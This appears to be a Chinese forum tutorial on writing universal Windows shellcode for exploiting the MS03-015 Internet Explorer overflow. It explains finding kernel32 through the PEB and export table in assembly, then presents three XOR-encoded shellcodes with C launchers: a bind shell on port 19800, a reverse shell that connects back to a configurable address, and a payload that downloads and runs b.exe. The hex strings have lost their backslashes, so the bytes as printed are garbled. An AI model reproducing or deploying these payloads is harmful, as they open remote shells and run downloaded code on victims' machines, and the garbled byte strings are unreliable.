前些日子在调试
http://www.microsoft.com/technet/security/bulletin/MS03-015.asp
的时候遇到了比较苦恼的事情,那就是我通过覆盖了eip或者seh来得到执行代码的权利,但是
现在网上流行的shellcode不能满足我的要求,主要有以下几个方面:
1、不通用,一般只能在win2000下运行,很少可以在winxp,win2003下正常运行。
2、没有处理好程序退出问题,在ie溢出的时候同时把ie给异常结束了。
3、有些代码太长,甚至达到了1000字节以上。
4、再不同语言环境下可能不通用。
由于有了上面四点原因,我打算写个通用的shellcode来用。其实shellcode通不通用最重要的是
获得一些地址的方法,看了很多人写的shellcode总觉得不是太好,因为他们大都采用在peb中找
出kernel32的地址,然后在shellcode末尾有你需要函数的ascii码,通过搜索内存来找到地址,
我先说说为什么可以在peb中找到kernel32的地址:
1、fs指向teb结构
2、在teb+0x30地方指向peb结构
3、在peb+0x0c地方指向PEB_LDR_DATA结构
4、在PEB_LDR_DATA+0x1c地方就是一些动态连接库的地址了,如第一个指向ntdll.dll 第二个就
是我们需要的kernel32.dll的地址
以下是汇编代码
mov eax, fs:0x30
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov ebp, [eax + 0x08] //ebp 就是kernel32.dll的地址了
一般shellcode获得函数的方法用汇编表示如下:
search_function:
inc ebx
cmp [ebx], dl
jne no_zero
inc ecx
no_zero:
cmp [ebx], DWORD PTR 'PteG'
jne no_match
cmp [ebx+4], DWORD PTR 'Acor'
jne no_match
je search_complete
no_match:
jmp search_function
ebx 中放的是 esi:0的东西一般是一个base address
如 db 0ffh,0ffh,0e8h,077h ;Specify the Kernel Base @ 77e60000h
这就是造成一般shellcode不通用的主要原因(固定地址)
为了达到通用的目的我们必须分析pe文件格式,通过分析我们得到如下方法:
从PE EDT中获得函数地址
1、PE header offset =kernel32.dll base address+0x3c;
2、exports directory offset =kernel32.dll base address+PE header offset+120;
3、exports directory table=kernel32.dll base address+exports directory offset;
4、name pointers table =exports directory table+32;
5、然后再name pointers table中比较函数的名字(可以按名字比较,也可以把名字hash以下比较hash值)
6、ordinals table=exports directory table+36
7、ordinals table指向函数的地址,所以根据对应的序号通过ordinals table找到函数的地址
给出搜索汇编代码
mov ebp, [somewhere] kernel32.dll 基址
mov eax, [ebp + 0x3c] eax = PE header offset
mov edx, [ebp + eax + 120]
add edx, ebp edx = exports directory table
mov ecx, [edx + 24] ecx = number of name pointers
mov ebx, [edx + 32]
add ebx, ebp ebx = name pointers table
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp esi 就是指向 name pointer
下面搜索就可以自己写了,天高任鸟飞!
心得:
1、再写网络shellcode时最好加上WairForSingleObject
2、不要忘了ExitProcess,可以避免很多程序错误。
3、代码通过xor99后不要有0A,因为在ie溢出中会对0A转换成0D0A在copy字符串的时候就会缩短。
好了就写这些吧!希望对大家会有所启发!
附我写的三个通用shellcode:
1、bindport 19800
#include <winsock.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#define scport 19800
//don't change the offset
#define port_offset 251
unsigned char jeno_bindport19800_sc[] =
"xEBx10x5Bx4Bx33xC9x66xB9xd9x01x80x34x0Bx99xE2xFA"
"xEBx05xE8xEBxFFxFFxFFx18x75x19x99x99x99x12x6Dx71"
"xD5x98x99x99x10x9Fx66xAFxF1x17xD7x97x75x71xFFx98"
"x99x99x10xDFx91x66xAFxF1x34x40x9Cx57x71xCEx98x99"
"x99x10xDFx95xF1xF5xF5x99x99xF1xAAxABxB7xFDxF1xEE"
"xEAxABxC6xCDx66xCFx91x10xDFx9Dx66xAFxF1xEBx67x2A"
"x8Fx71xABx98x99x99x10xDFx89x66xAFxF1xE7x41x7BxEA"
"x71xBAx98x99x99x10xDFx8Dx66xEFx9DxF1x52x74x65xA2"
"x71x8Ax98x99x99x10xDFx81x66xEFx9DxF1x40x90x6Cx34"
"x71x9Ax98x99x99x10xDFx85x66xEFx9DxF1x3Dx83xE9x5E"
"x71x6Ax99x99x99x10xDFxB9x66xEFx9DxF1x3Dx34xB7x70"
"x71x7Ax99x99x99x10xDFxBDx66xEFx9DxF1x7CxD0x1FxD0"
"x71x4Ax99x99x99x10xDFxB1x66xEFx9DxF1x7ExE0x5FxE0"
"x71x5Ax99x99x99x10xDFxB5xAAx66x18x75x09x98x99x99"
"xCDxF1x98x98x99x99x66xCFx81xC9xC9xC9xC9xD9xC9xD9"
"xC9x66xCFx85x12x41xCExCExF1x9Bx99xd4xc1x12x55xF3"
"x8FxC8xCAx66xCFxB9xCExCAx66xCFxBDxCExC8xCAx66xCF"
"xB1x12x49xF1xFCxE1xFCx99xF1xFAxF4xFDxB7x10xFFxA9"
"x1Ax75xCDx14xA5xBDxAAx59xAAx50x1Ax58x8Cx32x7Bx64"
"x5FxDDxBDx89xDDx67xDDxBDxA5x67xDDxBDxA4x10xCDxBD"
"xD1x10xCDxBDxD5x10xCDxBDxC9x14xDDxBDx89xCDxC9xC8"
"xC8xC8xD8xC8xD0xC8xC8x66xEFxA9xC8x66xCFx89x12x55"
"xF3x66x66xA8x66xCFx95x12x51xCEx66xCFxB5x66xCFx8D"
"xCCxCFxFDx38xA9x99x99x99x1Cx59xE1x95x12xD9x95x12"
"xE9x85x34x12xF1x91x72x90x12xD9xADx12x31x21x99x99"
"x99x12x5CxC7xC4x5Bx9Dx99xCAxCCxCFxCEx12xF5xBDx81"
"x12xDCxA5x12xCDx9CxE1x9Ax4Cx12xD3x81x12xC3xB9x9A"
"x44x7AxABxD0x12xADx12x9Ax6CxAAx66x65xAAx59x35xA3"
"x5DxEDx9Ex58x56x94x9Ax61x72x6BxA2xE5xBDx8DxECx78"
"x12xC3xBDx9Ax44xFFx12x95xD2x12xC3x85x9Ax44x12x9D"
"x12x9Ax5Cx72x9BxAAx59x12x4CxC6xC7xC4xC2x5Bx9Dx99";
//bindport 19800
int main(int argc, char **argv)
{
WSADATA wsa;
unsigned short port;
WSAStartup(MAKEWORD(2,2),&wsa);
port = htons(scport)^(u_short)0x9999;
memcpy(&jeno_bindport19800_sc[port_offset], &port, 2);
((void (*)(void)) &jeno_bindport19800_sc)();
}
2、Reverse shellcode default connect back 127.0.0.1 1980
#include <winsock.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#define scip "127.0.0.1"
#define scport 1980
//don't change the offset
#define ip_offset 201
#define port_offset 208
unsigned char jeno_connectback_sc[]=
"xEBx10x5Bx4Bx33xC9x66xB9x9fx01x80x34x0Bx99xE2xFA"
"xEBx05xE8xEBxFFxFFxFFxFFx18x75x19x99x12x6Dx71x8A"
"x98x99x99x10x9Fx66xAFxF1x17xD7x97x75x71xB4x98x99"
"x99x10xDFx91x66xAFxF1x34x40x9Cx57x71x87x98x99x99"
"x10xDFx95xF1xF5xF5x99x99xF1xAAxABxB7xFDxF1xEExEA"
"xABxC6xCDx66xCFx91x10xDFx9Dx66xAFxF1xEBx67x2Ax8F"
"x71x60x99x99x99x10xDFx89x66xAFxF1xE7x41x7BxEAx71"
"x73x99x99x99x10xDFx8Dx66xEFx9DxF1x52x74x65xA2x71"
"x43x99x99x99x10xDFx81x66xEFx9DxF1x40x90x6Cx34x71"
"x53x99x99x99x10xDFx85x66xEFx9DxF1x75x60x33xF9x71"
"x23x99x99x99x10xDFxB9x18x75x09x98x99x99xCDxF1x98"
"x98x99x99x66xCFx81xC9xC9xC9xC9xD9xC9xD9xC9x66xCF"
"x85x12x41x72x9Ax66xCFx8DxF1xE6x99x99x98xF1x9Bx99"
"x9ex25x12x55xF3x89xC8xCAx66xCFxB9x1Cx59xECx7FxF1"
"xFCxE1xFCx99xF1xFAxF4xFDxB7x10xFFxA9x1Ax5Dx35x14"
"xA5xBDxAAx59xAAx50x19x70x72x32x7Bx64x5FxDDxBDx89"
"xDDx67xDDxBDxA5x67xDDxBDxA4x10xC5xBDxD1x10xC5xBD"
"xD5x10xC5xBDxC9x14xDDxBDx89xCDxC9xC8xC8xC8xF3x98"
"xC8xC8x66xEFxA9xC8x66xCFx89x12x55xF3x66x66xA8x66"
"xCFx95x12x51x72x16xCCxCFxFDx38xA9x99x99x99x1Cx59"
"xE1x95x12xD9x95x12xE9x85x34x12xF1x91x72x90x12xD9"
"xADx12x31x21x99x99x99x12x5CxC7xC4x5Bx9Dx99xCAxCC"
"xCFxCEx12xF5xBDx81x12xDCxA5x12xCDx9CxE1x9Ax4Cx12"
"xD3x81x12xC3xB9x9Ax44x7AxABxD0x12xADx12x9Ax6CxAA"
"x66x65xAAx59x35xA3x5DxEDx9Ex58x56x94x9Ax61x72x6B"
"xA2xE5xBDx8DxECx78x12xC3xBDx9Ax44xFFx12x95xD2x12"
"xC3x85x9Ax44x12x9Dx12x9Ax5Cx72x9BxAAx59x12x4CxC6"
"xC7xC4xC2x5Bx9Dx99";
main()
{
WSADATA wsa;
unsigned short port;
unsigned long ip;
WSAStartup(MAKEWORD(2,2),&wsa);
port = htons(scport)^(u_short)0x9999;
ip = inet_addr(scip)^0x99999999;
memcpy(&jeno_connectback_sc[port_offset], &port, 2);
memcpy(&jeno_connectback_sc[ip_offset], &ip, 4);
((void (*)(void)) &jeno_connectback_sc)();
return 0;
}
3、Download&&executeShellcode
#include <winsock.h>
#include <stdio.h>
unsigned char jeno_downloadfile_sc[]=
"xEBx10x5Bx4Bx33xC9x66xB9x3cx01x80x34x0Bx99xE2xFA"
"xEBx05xE8xEBxFFxFFxFFx70x34x99x99x99xC3x12x6BxAA"
"x59x35xA4x01x99x99x99xECx6Fx18x75x51x99x99x99x12"
"x6Dx10xCFxBDx71x0Cx99x99x99xAAx42x10x9Fx66xAFxF1"
"x17xD7x97x75x71x34x99x99x99x10xDFx91xF1xF5xF5x99"
"x99xF1xF6xF7xB7xFDxF1xECxEBxF5xF4xCDx66xCFx91x10"
"xDFx9Dx66xAFxF1xE7x41x7BxEAx71x11x99x99x99x10xDF"
"x95x66xAFxF1x01x67x13x97x71xE0x99x99x99x10xDFx8D"
"x66xAFxF1xBCx29x66x5Bx71xF3x99x99x99x10xDFx81x66"
"xEFx9DxF1xAFx83xB6xE9x71xC3x99x99x99x10xDFx89xF3"
"xFCxF1xEAxB7xFCxE1x10xFFx85x66xEFx85x66xCFx81xAA"
"x50xC8xC8x66xEFx85x66xEFxBDxC8x66xCFx89xAAx50xC8"
"x66xEFx85x66xCFx8Dx66xCFx95x70x19x99x99x99xCCxCF"
"xFDx38xA9x99x99x99x1Cx59xE1x95x12xD9x95x12xE9x85"
"x34x12xF1x91x72x90x12xD9xADx12x31x21x99x99x99x12"
"x5CxC7xC4x5Bx9Dx99xCAxCCxCFxCEx12xF5xBDx81x12xDC"
"xA5x12xCDx9CxE1x9Ax4Cx12xD3x81x12xC3xB9x9Ax44x7A"
"xABxD0x12xADx12x9Ax6CxAAx66x65xAAx59x35xA3x5DxED"
"x9Ex58x56x94x9Ax61x72x6BxA2xE5xBDx8DxECx78x12xC3"
"xBDx9Ax44xFFx12x95xD2x12xC3x85x9Ax44x12x9Dx12x9A"
"x5Cx72x9BxAAx59x12x4CxC6xC7xC4xC2x5Bx9Dx99x71x50"
"x67x66x66"
"http://127.0.0.1/b.exe"
"x98";
main()
{
((void (*)(void)) &jeno_downloadfile_sc)();
return 0;
}
end.